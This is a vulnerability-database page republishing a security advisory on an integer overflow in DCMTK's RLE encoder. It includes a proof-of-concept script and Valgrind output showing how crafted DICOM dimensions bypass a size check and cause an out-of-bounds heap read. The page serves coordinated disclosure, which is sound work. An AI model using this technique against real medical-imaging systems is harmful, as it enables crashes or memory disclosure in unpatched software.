GCVE-1988-2026-0026
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-049
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
The Run-Length Encoded (RLE) compression codec encoder is vulnerable to
an integer overflow in the expected-size sanity check. An attacker who
can supply a crafted DICOM file with attacker-controlled image dimensions
can bypass the sanity check and cause the encoder to read beyond the
Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,
215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic
for attacker-controlled dimensions:
if (numberOfStripes * columns * rows * numberOfFrames > length)
result = EC_CannotChangeRepresentation;
const Uint32 bytesPerStripe = columns * rows;
frameOffset = frameSize * currentFrame;
pixelPointer = pixelData8 + frameOffset + sampleOffset +
bytesAllocated - byte - 1;
for (pixel = 0; pixel < bytesPerStripe; ++pixel)
rleEncoder->add(*pixelPointer);
The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,
BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the
expected byte count wraps to 1, so a two-byte Pixel Data element passes
the check. The encoder then sets bytesPerStripe to 65535 * 65535 and
reads past the two-byte heap allocation almost immediately.
The attack chain is as follows:
1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,
and NumberOfFrames values that make the sanity product overflow
to a small value.
2. The Pixel Data element is set to the small overflowed size.
3. The sanity check passes, because the overflowed product is <= length.
4. The encoder enters the stripe loop with the correct (large)
bytesPerStripe value.
5. The encoder reads beyond the Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following PoC script demonstrates this security vulnerability:
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate the RLE encoder size-check overflow through dcmcrle
# Proof of concept exploit for SYSS-2026-049
set -u
POC_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)"
INPUT_DUMP="${WORKDIR}/poc.dump"
INPUT_DCM="${WORKDIR}/poc.dcm"
OUTPUT_DCM="${WORKDIR}/poc.rle.dcm"
LOG="${WORKDIR}/dcmcrle.valgrind.log"
cleanup()
{
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmcrle
require_tool valgrind
require_tool timeout
cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}"
echo "[*] RLE encoder expected-size overflow via dcmcrle"
echo "[*] Building crafted DICOM input with dump2dcm"
dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1
echo "[*] Crafted image parameters:"
echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)"
echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read"
set +e
timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \
dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1
RC=$?
set -e
cat "${LOG}"
if [ "${RC}" -eq 99 ] &&
grep -q "Invalid read of size 1" "${LOG}" &&
grep -q "DcmRLECodecEncoder::encode" "${LOG}" &&
grep -q "dcrlecce.cc:268" "${LOG}" &&
grep -q "0 bytes after a block of size 2" "${LOG}"; then
exit 0
fi
echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
The exploit causes the RLE encoder to segfault when reading the guard
page, confirming the out-of-bounds read.
./poc.sh
[*] RLE encoder expected-size overflow via dcmcrle
[*] Building crafted DICOM input with dump2dcm
[*] Crafted image parameters:
(0028,0010) US 65535 # 2, 1 Rows
(0028,0011) US 2 # 2, 1 Columns
(7fe0,0010) OB 41\42 # 2, 1 PixelData
[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)
[*] Running dcmcrle under Valgrind to stop at the first invalid read
==53104== Invalid read of size 1
==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)
==53104== by 0x40044D2: main (dcmcrle.cc:295)
==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd
==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)
==53104==
==53104==
==53104== Exit program on first error (--exit-on-first-error=yes)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-049
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
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"affected": [
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"value": "Advisory ID: SYSS-2026-049\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n result = EC_CannotChangeRepresentation;\n\n const Uint32 bytesPerStripe = columns * rows;\n\n\n frameOffset = frameSize * currentFrame;\n pixelPointer = pixelData8 + frameOffset + sampleOffset +\n bytesAllocated - byte - 1;\n for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n and NumberOfFrames values that make the sanity product overflow\n to a small value.\n\n 2. The Pixel Data element is set to the small overflowed size.\n\n 3. The sanity check passes, because the overflowed product is \u003c= length.\n\n 4. The encoder enters the stripe loop with the correct (large)\n bytesPerStripe value.\n\n 5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535 # 2, 1 Rows\n(0028,0011) US 2 # 2, 1 Columns\n\n(7fe0,0010) OB 41\\42 # 2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104== by 0x40044D2: main (dcmcrle.cc:295)\n==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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